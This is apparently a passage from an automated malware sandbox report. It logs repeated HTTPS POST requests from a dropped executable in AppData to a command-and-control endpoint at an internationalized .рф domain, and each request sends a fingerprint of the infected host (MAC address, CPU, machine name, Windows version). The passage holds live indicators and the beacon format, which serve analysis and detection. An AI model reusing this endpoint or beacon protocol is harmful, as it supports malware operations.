                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    26192.168.2.851460212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:02 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:02 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    27192.168.2.851463212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:02 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:02 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    28192.168.2.851466212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:04 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:04 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.
                                                                                                                                    2024-11-19 17:59:04 UTC403OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.19045) x64


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    29192.168.2.851472212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:05 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:05 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    30192.168.2.851475212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:06 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:06 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    31192.168.2.851478212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:07 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:07 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    32192.168.2.851481212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:08 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:08 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    33192.168.2.851484212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:09 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:09 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    34192.168.2.851487212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:09 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:09 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    35192.168.2.851490212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:10 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:10 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    36192.168.2.851493212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:11 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:11 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    37192.168.2.851496212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:12 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:12 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    38192.168.2.851505212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:15 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:15 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    39192.168.2.851508212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:15 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:15 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    40192.168.2.851511212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:16 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
